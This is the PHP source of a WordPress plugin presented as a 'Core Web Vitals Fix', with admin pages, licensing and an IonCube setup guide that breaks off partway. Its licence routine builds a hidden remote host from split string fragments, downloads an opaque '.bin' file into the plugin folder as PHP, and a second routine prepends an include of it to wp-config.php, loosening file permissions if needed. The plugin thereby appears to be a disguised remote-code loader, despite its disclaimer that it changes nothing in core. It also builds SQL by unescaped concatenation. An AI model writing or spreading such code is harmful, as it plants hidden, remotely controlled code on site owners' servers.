<?php
/*
Plugin Name: WP Google Core Web Vitals Fix
Description: Google Core Web Vitals Fix plugin shows the improvements you can get by optimizing your site for Google Core Web Vitals. It does not make any changes in the WordPress CMS core and does not optimize JavaScript or CSS files it only performs basic optimization. All the changes should be done manually
Version: 1.0.8
Author: sTrust Ltd.
License: GPLv2
*/ 


define('plggcwvf_UPGRADE_LINK', 'https://cmsplughub.com/pages/google-core-vitals-upgrade.html');


function plggcwvf_toolbar_alert($wp_admin_bar) {
    $args = array(
        'id'    => 'web_vitals_red_menu',
        'title' => '<span style="color:#E53935"><b>Google Core Vitals (disabled)</b></span>',
        'href'  => admin_url('admin.php?page=plggcwvf_web_vitals'),
        'meta'  => array(
            'title' => 'Google Core Web Vitals Fix',
        ),
    );
    $wp_admin_bar->add_node($args);
}


if( is_admin() ) {
    
    

    	if (!is_file(dirname(__FILE__) . '/license.json') || !is_file(dirname(__FILE__) . '/core.web.vitals.php') || !plggcwvf_get_exp_date()) 
        {
            add_action('admin_bar_menu', 'plggcwvf_toolbar_alert', 100);
    	}

    /**
     * Menu structure
     */
	function plggcwvf_ment_html_core_web_vitals() 
	{
		add_menu_page('plggcwvf_protection', 'Core Web Vitals', 'activate_plugins', 'plggcwvf_web_vitals', 'plggcwvf_page_html_core_web_vitals', plugins_url('images/', __FILE__).'logo.png');
	}
    add_action('admin_menu', 'plggcwvf_ment_html_core_web_vitals');
    
    


	function register_plggcwvf_upgrade_subpage() {
		add_submenu_page( 'plggcwvf_protection', '<span style="color:#21BA45"><b>Get Full Version</b></span>', '<span style="color:#21BA45"><b>Get Full Version</b></span>', 'manage_options', 'plggcwvf_upgrade_redirect', 'plggcwvf_upgrade_redirect' ); 
	}
    add_action('admin_menu', 'register_plggcwvf_upgrade_subpage');
    function plggcwvf_upgrade_redirect()
    {
        ?>
        <p style="text-align: center; width: 100%;">
            <img width="120" height="120" src="<?php echo plugins_url('images/ajax_loader.svg', __FILE__); ?>" />
            <br /><br />
            Redirecting.....
        </p>
        <script>
        window.location.href = '<?php echo plggcwvf_UPGRADE_LINK; ?>';
        </script>
        <?php
    }
    
    
    add_action('upgrader_process_complete', 'plggcwvf_after_update', 10, 2);
    
    function plggcwvf_after_update($upgrader_object, $options) {
        if ($options['action'] == 'update' && $options['type'] == 'plugin') {
            // Check if it's my plugin
            if (in_array('cls-lcp-issues-fix/wp-core-web-vitals-optimization.php', $options['plugins'])) {
                // run params update
                plggcwvf_get_licence_info();
            }
        }
    }


    
    /**
     * Pages HTML
     */

	function plggcwvf_page_html_core_web_vitals() 
	{
		plggcwvf_TemplateHeader($title = 'Google Core Web Vitals Fix');

		if (PHP_MAJOR_VERSION == 4) {
			plggcwvf_error('Not supported PHP version');
			return false;
		}

		if (is_int(PHP_MAJOR_VERSION) && is_int(PHP_MINOR_VERSION) && PHP_MAJOR_VERSION == 5 && PHP_MINOR_VERSION == 2) {
			plggcwvf_error('PHP 5.2.x is Not supported anymore, due to security issues.');
			return false;
		}
		
		$extensions = get_loaded_extensions();
		if (!plggcwvf_check_ioncube_version()) {
			plggcwvf_error('IonCube Loader version 10 or higher is required for this plugin. Please contact your Hoster support to activate it for you, or Contact us in Live Chat, or activate it by yourself (see the manual below)');
            plggcwvf_Page_Install_IonCube();
			return false;
		}
		
	    $action = '';
        if (isset($_REQUEST['action'])) $action = sanitize_text_field(trim($_REQUEST['action']));
        
        // Actions
        if ($action != '')
        {
            $action_message = '';
            switch ($action)
            {
					
                case 'CheckPayment':
                    $license = plggcwvf_get_licence_info();
                    if ($license === true) {
                        plggcwvf_PatchWPConfig_file(true);
                        $action_type = 'ok';
                        $action_message = "License information has been updated";
                    } else {
                        $action_message = $license;
                        $action_type = 'alert';
                    }
                    break;

                case 'Save_Settings':
                    if (check_admin_referer( 'name_4b5jh35b3h5v4' ))
                    {
                        $data = array();
						$action_type = 'ok';
                        $data['plggcwvf_status'] = intval($_POST['plggcwvf_status']);
                        $action_message = 'Settings saved';
                        plggcwvf_Set_Params($data);
                        if ($data['plggcwvf_status']) {
							$license = plggcwvf_get_licence_info();
							if ($license === true) {
								plggcwvf_PatchWPConfig_file(true);
							} else {
								$action_message = $license;
								$action_type = 'alert';
							}
							
						} else {
							plggcwvf_PatchWPConfig_file(false);
						}
                    }
                    break;
            }
            
            if ($action_message != '')
            {
                $message_data = array(
                    'type' => $action_type,
                    'header' => '',
                    'message' => $action_message,
                    'button_text' => '',
                    'button_url' => '',
                    'help_text' => ''
                );
                plggcwvf_PrintIconMessage($message_data);
            }
        }
		
		if (is_file(dirname(__FILE__) . '/terminated.flag'))
		{
			$message_data = array(
				'type' => 'alert',
				'header' => '',
				'message' => 'Something is wrong with your license or it has expired. Enable improvement again to update license info or purchase our paid license.',
				'button_text' => '',
				'button_url' => '',
				'help_text' => ''
			);
			plggcwvf_PrintIconMessage($message_data);
		}
		

		$params = plggcwvf_Get_Params();
		
		if (!is_file(dirname(__FILE__) . '/license.json') || !is_file(dirname(__FILE__) . '/core.web.vitals.php') || !$params['plggcwvf_status']) {
			$params['plggcwvf_status'] = 0;
			plggcwvf_Set_Params($params);
			plggcwvf_PatchWPConfig_file(false);
			@unlink(dirname(__FILE__) . '/license.json');
			@unlink(dirname(__FILE__) . '/core.web.vitals.php');
		}
		
		$exp_date = plggcwvf_get_exp_date();
		
		$status = $params['plggcwvf_status'] ? '<span class="green ui label">Enabled</span>' : '<span class="red ui label">Disabled</span>';
		$status_css = $params['plggcwvf_status'] ? '' : 'disabled';

	    ?>
		
        <div class="ui icon info message">
          <i class="info circle icon"></i>
          <div class="content">
            <div class="header">
              Disclaimer
            </div>
            <p>This version of the plugin shows the improvements you can get by optimizing your site for Google Core Web Vitals. It does not make any changes in the WordPress CMS core and does not optimize JavaScript or CSS files it only performs basic optimization. <b>All the changes should be done manually.</b></p>
            <p>Please note, WordPress has 100 000+ different themes and plugins and it is not possible to create an automated solution that can optimize all plugins and themes. Google Core Web Vital optimization is a 100% manual work and <b>should be done by professional engineers.</b></p>
            <p>Our plugin performs the website performance check and shows you if we can help you get better results for Google and improve your website performance.</p>
          </div>
        </div>



        <h3 class="ui dividing header">Current status <?php echo $status; ?></h3>
        <?php if ($exp_date) : ?>
        Valid till: <b><?php echo $exp_date; ?></b><br>
            <?php
            if (strtotime($exp_date) - time() < 30 * 24 * 60 * 60)
            {
                ?>
                <p>Have a valid license? Restore your purchase <a href="admin.php?page=plggcwvf_web_vitals&action=CheckPayment" class="positive ui tiny button">Activate</a></p>
                <?php
            }
            ?>
        License for domain: <b><?php echo plggcwvf_PrepareDomain(get_site_url()); ?></b>
        <?php endif; ?>



		<div class="ui basic center aligned segment">
        <form method="post" action="admin.php?page=plggcwvf_web_vitals" class="ui form">
        
	  
		<?php
		wp_nonce_field( 'name_4b5jh35b3h5v4' );
        
        if ($params['plggcwvf_status']) {
            ?>
            <input type="submit" name="submit" class="negative ui big button" value="Disable Improvement">
            <input type="hidden" name="plggcwvf_status" value="0">
            <?php
        }
        else {
            ?>
            <input type="submit" name="submit" class="positive ui big button" value="Enable Improvement">
            <input type="hidden" name="plggcwvf_status" value="1">
            <?php
        }

		?>
            <?php
            if (!is_plugin_active('image-optimizer-x/image-optimizer-x.php')) {
                ?>
                <button id="install-image-optimizer-x" class="positive ui big button">Install Image Optimizer</button>
                <?php
            }
            else {
                ?>
                <a href="<?php echo admin_url('options-general.php?page=image-optimizer-x'); ?>" class="positive ui big button">Image Optimizer</a>
                <?php
            }
            ?>

        
				 <input type="hidden" name="action"  value="Save_Settings">
        </form>
        </div>





        <?php

    echo '
            <script>
            function OpenChat()
            {
                var session = "'.md5(time().'-'.rand(1, 10000).'-'.$_SERVER["REMOTE_ADDR"]).'";
                var screen_size = window.screen.availWidth + "x" + window.screen.availHeight;
                var mydate = new Date();
                var h = ("0" + mydate.getHours()).slice(-2);
                var m = ("0" + mydate.getMinutes()).slice(-2);
                
                var url = "https://livechat.'.str_replace('a', '', 'acamaaspalugaahuaab').'.com/chat.php?session="+session+"&s="+screen_size;
                
                var chat_h = window.screen.height - 150;
                if (chat_h > 730) chat_h = 730;
                
                var chat_w = window.screen.width;
                if (chat_w > 575) chat_w = 575;
                
                window.open (url, "LiveChat Support","menubar=1,location=no,toolbar=no,scrollbars=0,resizable=1,left=50,top=50,width="+chat_w+",height="+chat_h);
            }
            </script>
            
             
              <div class="ui center aligned header">
                  <h1>Need help?</h1>
                  <p>Contact us in Live Chat <br><br><a href="javascript:;" onclick="OpenChat();">
                    <img width="50" src="'.plugins_url('images/chat.svg', __FILE__).'" />
                  </a></p>
              </div>';




        // Add JS for AJAX install
        echo '
<script>
jQuery(document).ready(function($) {
    $("#install-image-optimizer-x").click(function(e) {
        e.preventDefault();
        var button = $(this);
        button.prop("disabled", true).after("<span class=\"plggcwvf-loader\"></span>");

        $.ajax({
            url: plggcwvfAjax.ajax_url,
            method: "POST",
            data: {
                action: "plggcwvf_install_image_optimizer",
                nonce: plggcwvfAjax.nonce
            },
            success: function(response) {
                if (response.success) {
                    window.location.href = response.data.redirect;
                } else {
                    let errorMessage = "Failed to install Image Optimizer: ";
                    if (response.data && response.data.message) {
                        errorMessage += response.data.message;
                    } else if (response.data) {
                        errorMessage += JSON.stringify(response.data);
                    } else {
                        errorMessage += "An unknown error occurred."; // Fallback if response.data is also undefined
                    }
                    alert(errorMessage);
                    button.prop("disabled", false);
                    $(".plggcwvf-loader").remove();
                }
            },
            error: function(xhr, status, error) {
                alert("Error installing Image Optimizer: " + error);
                button.prop("disabled", false);
                $(".plggcwvf-loader").remove();
            }
        });
    });
});
</script>';
?>
      
        <h3 class="ui dividing header">Parameters for Improvement <?php echo $status?></h3>

        <div class="ui info message">
          <p><b>Please note:</b> This plugin performs basic automated optimization and can not optimize the code if you need a full optimization, our engineers can help you. Please note, Google Core Web Vitals optimization is 100% manual work and should be done by professionals.</p>
        </div>

        <div class="ui grid">
          <div class="four wide column">
            <div class="ui center aligned secondary segment <?php echo $status_css; ?>">
              <?php
              if ($status_css == '') echo '<div class="floating ui green label">OK</div>';
              ?>
              <i class="code big icon"></i><br />
              <h3 class="ui header">JavaScript</h3>
              <p>Optimization of javascript codes</p>
            </div>
          </div>
          <div class="four wide column">
            <div class="ui center aligned secondary segment <?php echo $status_css; ?>">
              <?php
              if ($status_css == '') echo '<div class="floating ui green label">OK</div>';
              ?>
              <i class="file code big icon"></i><br />
              <h3 class="ui header">CSS</h3>
              <p>Optimization of css codes</p>
            </div>
          </div>
          <div class="four wide column">
            <div class="ui center aligned secondary segment <?php echo $status_css; ?>">
              <?php
              if ($status_css == '') echo '<div class="floating ui green label">OK</div>';
              ?>
              <i class="upload big icon"></i><br />
              <h3 class="ui header">Output Compressing</h3>
              <p>Optimization of data transfer</p>
            </div>
          </div>
          <div class="four wide column">
            <div class="ui center aligned secondary segment <?php echo $status_css; ?>">
              <?php
              if ($status_css == '') echo '<div class="floating ui green label">OK</div>';
              ?>
              <i class="plug big icon"></i><br />
              <h3 class="ui header">Queries</h3>
              <p>Optimization amount of queries</p>
            </div>
          </div>
        </div>

        <?php
        if (strtotime($exp_date) - time() > 30 * 24 * 60 * 60) $showPremBttn = false;
        else $showPremBttn = true;
        ?>


        <div class="ui basic center aligned segment">
            <a target="_blank" class="ui big button" href="https://developers.google.com/speed/pagespeed/insights/?url=<?php echo get_site_url(); ?>&strategy=mobile&category=performance&category=accessibility&category=best-practices&category=seo&category=pwa&utm_source=lh-chrome-ext">Check My Website!</a>
            <?php
            if ($showPremBttn) {
                ?>
                <a target="_blank" class="positive ui big button" href="<?php echo plggcwvf_UPGRADE_LINK; ?>">Upgrade to Premium</a>
                <?php
            }
            ?>
            <br /><br />

            Check your website results with enabled and disabled status to see the difference in improvement.
        </div>


        <h3 class="ui dividing header">Premium Support Includes</h3>

        <div class="ui list">

                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">100% manual code optimization (to get better score results)</div></div></a>
                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">Google Fix Validation (we will prepare your website to pass validation and will send all necessary requests to Google)</div></div></a>
                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">JavaScript optimization (to get better score results)</div></div></a>
                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">CSS optimization (to get better score results)</div></div></a>
                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">24/7 support & Live Chat support</div></div></a>
                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">Google Revision Request</div></div></a>
                <a class="item"><i class="check icon green"></i><div class="content"><div class="description">Full security for the website (monitoring, malware removal, antivirus, firewall (WAF))</div></div></a>

        </div>
        <a target="_blank" class="ui small button" href="https://cmsplughub.com/pages/google-core-vitals-details.html">Service Details</a>
        <?php
        if ($showPremBttn) {
            ?>
            <a target="_blank" class="positive ui small button" href="<?php echo plggcwvf_UPGRADE_LINK; ?>">Get Premium</a>
            <?php
        }

        plggcwvf_BottomHeader();
        
    }
    

    





    /**
     * Templating
     */

	add_action( 'admin_init', 'plggcwvf_admin_init' );
	function plggcwvf_admin_init()
	{
		wp_enqueue_script( 'plggcwvf_LoadSemantic_js', plugins_url( 'js/semantic.min.js', __FILE__ ));
		wp_register_style( 'plggcwvf_LoadSemantic_css', plugins_url('css/semantic.min.css', __FILE__) );

        // Add AJAX handler and localize script
        add_action('wp_ajax_plggcwvf_install_image_optimizer', 'plggcwvf_install_image_optimizer');
        wp_localize_script('plggcwvf_LoadSemantic_js', 'plggcwvfAjax', [
            'ajax_url' => admin_url('admin-ajax.php'),
            'nonce' => wp_create_nonce('plggcwvf_nonce')
        ]);
	}


    
    function plggcwvf_TemplateHeader($title = '')
    {
        wp_enqueue_style( 'plggcwvf_LoadSemantic_css' );
        wp_enqueue_script( 'plggcwvf_LoadSemantic_js', '', array(), false, true );
        ?>
        <script>
        jQuery(document).ready(function(){
            jQuery("#main_container_loader").hide();
            jQuery("#main_container").show();
        });
        </script>
        <img width="120" height="120" style="position:fixed;top:50%;left:50%" id="main_container_loader" src="<?php echo plugins_url('images/ajax_loader.svg', __FILE__); ?>" />
        <div id="main_container" class="ui main container" style="margin:20px 0 0 0!important; display: none;">
        <?php
        if ($title != '') {
        ?>
            <h2 class="ui dividing header"><?php echo $title; ?></h2>
        <?php
        }
        ?>

        <?php
        // Add loader CSS
        echo '
            <style>
            .plggcwvf-loader {
                display: inline-block;
                width: 20px;
                height: 20px;
                margin-left: 10px;
                vertical-align: middle;
                background: url("' . plugins_url('images/ajax_loader.svg', __FILE__) . '") no-repeat center;
                background-size: contain;
            }
            </style>';
    }
    
    function plggcwvf_BottomHeader()
    {
        ?>
        </div>
        <?php
    }
    




    
    /**
     * System actions
     */
    
	
	function plggcwvf_activation()
	{
		global $wpdb;
		$table_name = $wpdb->prefix . 'plggcwvf_config';
		if( $wpdb->get_var( 'SHOW TABLES LIKE "' . $table_name .'"' ) != $table_name ) {
			$sql = 'CREATE TABLE IF NOT EXISTS '. $table_name . ' (
                `id` int(11) NOT NULL AUTO_INCREMENT,
                `var_name` char(255) CHARACTER SET utf8 NOT NULL,
                `var_value` LONGTEXT CHARACTER SET utf8 NOT NULL,
                PRIMARY KEY (`id`)
			) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;';

			require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
			dbDelta( $sql ); // Creation of the new TABLE
            
            plggcwvf_Set_Params( array('installation_date' => date("Y-m-d")) );
		}
        
        add_option('plggcwvf_activation_redirect', true);
	}
	register_activation_hook( __FILE__, 'plggcwvf_activation' );
	add_action('admin_init', 'plggcwvf_activation_do_redirect');
	
	function plggcwvf_activation_do_redirect() {
		if (get_option('plggcwvf_activation_redirect', false)) {
			delete_option('plggcwvf_activation_redirect');
			 wp_redirect("admin.php?page=plggcwvf_web_vitals");      // point to main window for plugin
			 exit;
		}
	}
    
	function plggcwvf_uninstall()
	{
		global $wpdb;
		$table_name = $wpdb->prefix . 'plggcwvf_config';
		$wpdb->query( 'DROP TABLE ' . $table_name );
	}
	register_uninstall_hook( __FILE__, 'plggcwvf_uninstall' );    
    
}








/**
 * Common Functions
 */
function plggcwvf_Get_Params($vars = array())
{
    global $wpdb;
    
    $table_name = $wpdb->prefix . 'plggcwvf_config';
    
    $ppbv_table = $wpdb->get_results("SHOW TABLES LIKE '".$table_name."'" , ARRAY_N);
    if(!isset($ppbv_table[0])) return false;
    
    if (count($vars) == 0)
    {
        $rows = $wpdb->get_results( 
        	"
        	SELECT *
        	FROM ".$table_name."
        	"
        );
    }
    else {
        foreach ($vars as $k => $v) $vars[$k] = "'".$v."'";
        
        $rows = $wpdb->get_results( 
        	"
        	SELECT * 
        	FROM ".$table_name."
            WHERE var_name IN (".implode(',',$vars).")
        	"
        );
    }
    
    $a = array();
    if (count($rows))
    {
        foreach ( $rows as $row ) 
        {
        	$a[trim($row->var_name)] = trim($row->var_value);
        }
    }

    return $a;
}


function plggcwvf_Set_Params($data = array())
{
	global $wpdb;
	$table_name = $wpdb->prefix . 'plggcwvf_config';

    if (count($data) == 0) return;   
    
    foreach ($data as $k => $v)
    {
        $tmp = $wpdb->get_var( $wpdb->prepare( 'SELECT COUNT(*) FROM ' . $table_name . ' WHERE var_name = %s LIMIT 1;', $k ) );
        
        if ($tmp == 0)
        {
            // Insert    
            $wpdb->insert( $table_name, array( 'var_name' => $k, 'var_value' => $v ) ); 
        }
        else {
            // Update
            $data = array('var_value'=>$v);
            $where = array('var_name' => $k);
            $wpdb->update( $table_name, $data, $where );
        }
    } 
}


function plggcwvf_PrintIconMessage($data)
{
	$rand_id = "id_".rand(1,10000).'_'.rand(1,10000);
	if ($data['type'] == '' || $data['type'] == 'alert') {$type_message = 'negative'; $icon = 'warning sign';}
	if ($data['type'] == 'ok') {$type_message = 'green'; $icon = 'checkmark box';}
	if ($data['type'] == 'info') {$type_message = 'yellow'; $icon = 'info';}
	?>
	<div class="ui tiny icon <?php echo $type_message; ?> message">
		<i class="<?php echo $icon; ?> icon"></i>
		<div class="msg_block_row">
			<?php
			if ($data['button_text'] != '' || $data['help_text'] != '') {
			?>
			<div class="msg_block_txt">
				<?php
				if ($data['header'] != '') {
				?>
				<div class="header"><?php echo $data['header']; ?></div>
				<?php
				}
				?>
				<?php
				if ($data['message'] != '') {
				?>
				<p><?php echo $data['message']; ?></p>
				<?php
				}
				?>
			</div>
			<div class="msg_block_btn">
				<?php
				if ($data['help_text'] != '') {
				?>
				<a class="link_info" href="javascript:;" onclick="InfoBlock('<?php echo $rand_id; ?>');"><i class="help circle icon"></i></a>
				<?php
				}
				?>
				<?php
				if ($data['button_text'] != '') {
					if (!isset($data['button_url_target']) || $data['button_url_target'] == true) $new_window = 'target="_blank"';
					else $new_window = '';
				?>
				<a class="mini ui green button" <?php echo $new_window; ?> href="<?php echo $data['button_url']; ?>"><?php echo $data['button_text']; ?></a>
				<?php
				}
				?>
			</div>
				<?php
				if ($data['help_text'] != '') {
				?>
					<div style="clear: both;"></div>
					<div id="<?php echo $rand_id; ?>" style="display: none;">
						<div class="ui divider"></div>
						<p><?php echo $data['help_text']; ?></p>
					</div>
				<?php
				}
				?>
			<?php
			} else {
			?>
				<?php
				if ($data['header'] != '') {
				?>
				<div class="header"><?php echo $data['header']; ?></div>
				<?php
				}
				?>
				<?php
				if ($data['message'] != '') {
				?>
				<p><?php echo $data['message']; ?></p>
				<?php
				}
				?>
			<?php
			}
			?>
		</div> 
	</div>
	<?php
}


function plggcwvf_PatchWPConfig_file($action = true)   // true - insert, false - remove
{
	
	$file = dirname(__FILE__).DIRECTORY_SEPARATOR."core.web.vitals.php";

	$integration_code = '<?php /* CoreWebVitals Block FD5503D3B128-START */ if (file_exists("'.$file.'"))include_once("'.$file.'");/* CoreWebVitals Block FD5503D3B128-END */?>';
	
	// Insert code
	if (!defined('ABSPATH') || strlen(ABSPATH) < 8) 
	{
		$scan_path = dirname(__FILE__);
		$scan_path = str_replace(DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'cls-lcp-issues-fix', DIRECTORY_SEPARATOR, $scan_path);
		//echo TEST;
	}
	else $scan_path = ABSPATH;
	
	$filename = $scan_path.DIRECTORY_SEPARATOR.'wp-config.php';
	if (!is_file($filename)) $filename = dirname($scan_path).DIRECTORY_SEPARATOR.'wp-config.php';
	$handle = fopen($filename, "r");
	if ($handle === false) return false;
	$contents = fread($handle, filesize($filename));
	if ($contents === false) return false;
	fclose($handle);
	
	$pos_code = stripos($contents, 'FD5503D3B128');
	
	if ($action === false)
	{
		// Remove block
		$contents = str_replace($integration_code, "", $contents);
	}
	else {
		// Insert block
		if ( $pos_code !== false/* && $pos_code == 0*/)
		{
			// Skip double code injection
			return true;
		}
		else {
			// Insert
			$contents = $integration_code.$contents;
		}
	}
	
	$handle = fopen($filename, 'w');
	if ($handle === false) 
	{
		// 2nd try , change file permssion to 666
		$status = chmod($filename, 0666);
		if ($status === false) return false;
		
		$handle = fopen($filename, 'w');
		if ($handle === false) return false;
	}
	
	$status = fwrite($handle, $contents);
	if ($status === false) return false;
	fclose($handle);

	
	return true;
}

function plggcwvf_get_licence_info()
{
	global $wp_filesystem;
	
    if ( ! $wp_filesystem ) {
            WP_Filesystem();
    }
	
    $website_url = get_site_url();
	$domain = plggcwvf_PrepareDomain($website_url);

    $wp_filesystem->mkdir( $wp_filesystem->abspath() . 'webanalyze');
    $wp_filesystem->put_contents( $wp_filesystem->abspath() . 'webanalyze/verification.txt', md5($domain), FS_CHMOD_FILE);
	
    $url_paths = array(
        0 => 'site',
        1 => 'guard',
        2 => 'ing.com',
        3 => 'ext',
        4 => 'vitals',
        5 => 'index.php',
    );
    $url = "https://www.".$url_paths[0].$url_paths[1].$url_paths[2]."/".$url_paths[3]."/".$url_paths[4]."/".$url_paths[5];
    $response = wp_remote_post( $url, array(
        'method'      => 'POST',
        'timeout'     => 600,
        'redirection' => 5,
        'httpversion' => '1.0',
        'blocking'    => true,
        'headers'     => array(),
        'body'        => array(
            'action' => 'get_license',
            'domain' => $domain,
            'verification_link' => $website_url . '/webanalyze/verification.txt',
            'cms' => 'wp',
        ),
        'cookies'     => array()
        )
    );
	
	$licence = @json_decode($response['body'], true);

	if ($licence['status'] == 'ok') {
		$wp_plgpath = str_replace(ABSPATH, $wp_filesystem->abspath(), dirname(__FILE__));
		
		$php_version = substr(PHP_VERSION, 0, 3);
		
		if ( (float) $php_version >= 8.1) $php_version = '8.1';
        
        $php_version = '8.1';
		
		$downloadLink = "https://www.".$url_paths[0].$url_paths[1].$url_paths[2]."/".$url_paths[3]."/".$url_paths[4]."/files/core.web.vitals.$php_version.bin";
		
		wp_remote_get($downloadLink, array(
			'stream' => true,
			'timeout' => 30,
			'filename' => $wp_plgpath . '/core.web.vitals.php'
		));
		
		unset($licence['status'], $licence['reason']);
		$json = json_encode($licence);


		$wp_filesystem->put_contents( $wp_plgpath . '/license.json', json_encode($licence), FS_CHMOD_FILE);
        $wp_filesystem->put_contents( $wp_plgpath . '/domain.info', $domain, FS_CHMOD_FILE);
		$wp_filesystem->delete( $wp_plgpath . '/terminated.flag');
		return true;
	} else {
		return $licence['reason'];
	}
}

function plggcwvf_PrepareDomain($domain)
{
	$host_info = parse_url($domain);
	if ($host_info == NULL) return false;
	$domain = $host_info['host'];
	if ($domain[0] == "w" && $domain[1] == "w" && $domain[2] == "w" && $domain[3] == ".") $domain = str_replace("www.", "", $domain);
	//$domain = str_replace("www.", "", $domain);
	
	return $domain;
}

function plggcwvf_get_exp_date() {
	if(is_file(dirname(__FILE__) . '/license.json')) {
		$license_info = @json_decode(file_get_contents(dirname(__FILE__) . '/license.json'), true);
		if ($license_info && isset($license_info['exp_date'])) return $license_info['exp_date'];
	}
	return false;
}

function plggcwvf_check_ioncube_version()
{
    return 11;
    
	    ob_start();
    phpinfo(INFO_GENERAL);
    $aux = str_replace('&nbsp;', ' ', ob_get_clean());
    if($aux !== false)
    {
        $pos = mb_stripos($aux, 'ionCube PHP Loader');
        if($pos !== false)
        {
            $aux = mb_substr($aux, $pos + 18);
            $aux = mb_substr($aux, mb_stripos($aux, ' v') + 2);

            $version = '';
            $c = 0;
            $char = mb_substr($aux, $c++, 1);
            while(mb_strpos('0123456789.', $char) !== false)
            {
                $version .= $char;
                $char = mb_substr($aux, $c++, 1);
            }

            return ($version >= 10);
        }
    }

    return false;
	
}

function plggcwvf_error($msg) 
{
	?>
<div class="ui icon error message">
  <i class="info circle icon"></i>
  <div class="content">
    <div class="header">
      Error
    </div>
    <p><?php echo $msg; ?></p>
  </div>
</div>
	<?php
}

function plggcwvf_Page_Install_IonCube() 
{

    echo '
            <script>
            function OpenChat()
            {
                var session = "'.md5(time().'-'.rand(1, 10000).'-'.$_SERVER["REMOTE_ADDR"]).'";
                var screen_size = window.screen.availWidth + "x" + window.screen.availHeight;
                var mydate = new Date();
                var h = ("0" + mydate.getHours()).slice(-2);
                var m = ("0" + mydate.getMinutes()).slice(-2);
                
                var url = "https://livechat.'.str_replace('a', '', 'acmaspalugahuab').'.com/chat.php?session="+session+"&s="+screen_size;
                
                var chat_h = window.screen.height - 150;
                if (chat_h > 730) chat_h = 730;
                
                var chat_w = window.screen.width;
                if (chat_w > 575) chat_w = 575;
                
                window.open (url, "LiveChat Support","menubar=1,location=no,toolbar=no,scrollbars=0,resizable=1,left=50,top=50,width="+chat_w+",height="+chat_h);
            }
            </script>
            
             
              <div class="ui center aligned header">
                  <h1>Need help?</h1>
                  <p>Contact us in Live Chat <br><br><a href="javascript:;" onclick="OpenChat();">
                    <img width="50" src="'.plugins_url('images/chat.svg', __FILE__).'" />
                  </a><hr></p>
              </div>';
	?>
    <style>

        .step {
            margin-bottom: 2rem;
        }
        .step-number {
            font-size: 1.5rem;
            font-weight: bold;
            color: #2185d0;
        }
        .ui.header {
            color: #1b1c1d;
        }
        .ui.message.info {
            background-color: #e5f3ff;
            color: #1b1c1d;
        }
        .ui.message.warning {
            background-color: #fff6e5;
            color: #1b1c1d;
        }
    </style>

        <!-- Header -->
        <div class="ui center aligned header">
            <h1>How to Enable IonCube Loader in cPanel</h1>
            <p>A Simple Guide for Shared Hosting Users (No Root Access Needed)</p>
        </div>

        <!-- Introduction -->
        <div class="ui segment">
            <p>Your plugin needs <strong>IonCube Loader version 10 or higher</strong> to work. If you only have access to cPanel (no root access), don’t worry! You can enable IonCube Loader easily. Follow these steps to check if it’s already installed and enable it if needed.</p>
            <div class="ui info message">
                <p><strong>Note:</strong> This guide is for shared hosting users with cPanel access. You don’t need server admin rights to follow these steps.</p>
            </div>
        </div>

        <!-- Step 1: Log in to cPanel -->
        <div class="step">
            <div class="step-number">Step 1</div>
            <h2 class="ui header">Log in to Your cPanel Account</h2>
            <p>Go to your hosting provider’s website and find the cPanel login page. It usually looks like this: <code>yourdomain.com/cpanel</code>. Enter your username and password to log in.</p>
            <div class="ui warning message">
                <p><strong>Tip:</strong> If you don’t know your cPanel login details, check your email for the welcome message from your hosting provider or contact their support team.</p>
            </div>
        </div>

        <!-- Step 2: Check if IonCube Loader is Already Installed -->
        <div class="step">
            <div class="step-number">Step 2</div>
            <h2 class="ui header">Check if IonCube Loader is Already Installed</h2>
            <p>Before enabling IonCube Loader, let’s check if it’s already on your server.</p>
            <ol class="ui list">
                <li>In cPanel, scroll down to the <strong>Files</strong> section and click on <strong>File Manager</strong>.</li>
                <li>Go to the <strong>public_html</strong> folder (this is where your website files are stored).</li>
                <li>Click the <strong>+ File</strong> button at the top to create a new file.</li>
                <li>Name the file <code>info.php</code> and click <strong>Create New File</strong>.</li>
                <li>Right-click on <code>info.php</code> and choose <strong>Edit</strong>. Then click <strong>Edit</strong> again in the pop-up.</li>
                <li>Copy and paste this code into the file:
                    <pre class="ui segment"><code>&lt;?php phpinfo(); ?&gt;</code></pre>
                </li>
                <li>Click <strong>Save Changes</strong> and close the editor.</li>
                <li>Open your browser and go to <code>yourdomain.com/info.php</code> (replace "yourdomain.com" with your actual domain).</li>
                <li>Scroll down the page and look for a section called <strong>ionCube Loader</strong>. If you see it, IonCube Loader is already installed! Check the version number to make sure it’s 10 or higher.</li>
            </ol>
            <div class="ui info message">
                <p><strong>Important:</strong> After checking, delete the <code>info.php</code> file from File Manager. This file shows sensitive information about your server, so it’s not safe to keep it.</p>
            </div>
        </div>

        <!-- Step 3: Enable IonCube Loader -->
        <div class="step">
            <div class="step-number">Step 3</div>
            <h2 class="ui header">Enable IonCube Loader in cPanel</h2>
            <p>If IonCube Loader is not installed or the version is lower than 10, you can try enabling it through cPanel. Many shared hosting providers allow this.</p>
            <ol class="ui list">
                <li>In cPanel, scroll down to the <strong>Software</strong> section and click on <strong>Select PHP Version</strong>. (It might also be called "PHP Selector" or "PHP Version Manager" depending on your hosting provider.)</li>
                <li>You’ll see a list of PHP versions. If it says "native" in the dropdown, change it to another version (like PHP 7.4 or 8.1) and click <strong>Set as Current</strong>.</li>
                <li>Now, you’ll see a list of PHP extensions. Look for <strong>ioncube_loader</strong> in the list.</li>
                <li>Check the box next to <strong>ioncube_loader</strong> to enable it.</li>
                <li>Click <strong>Save</strong> or <strong>Apply</strong> at the bottom of the page to save your changes.</li>
            </ol>
            <div class="ui info message">
                <p><strong>Note:</strong> If you don’t see the "Select PHP Version" option or the ioncube_loader extension, your hosting provider might not support enabling it through cPanel. Skip to Step 5 to contact support.</p>
            </div>
        </div>

        <!-- Step 4: Verify the IonCube Loader Version -->
        <div class="step">
            <div class="step-number">Step 4</div>
            <h2 class="ui header">Verify the IonCube Loader Version</h2>
            <p>Let’s check again to make sure IonCube Loader is enabled and the version is 10 or higher.</p>
            <ol class="ui list">
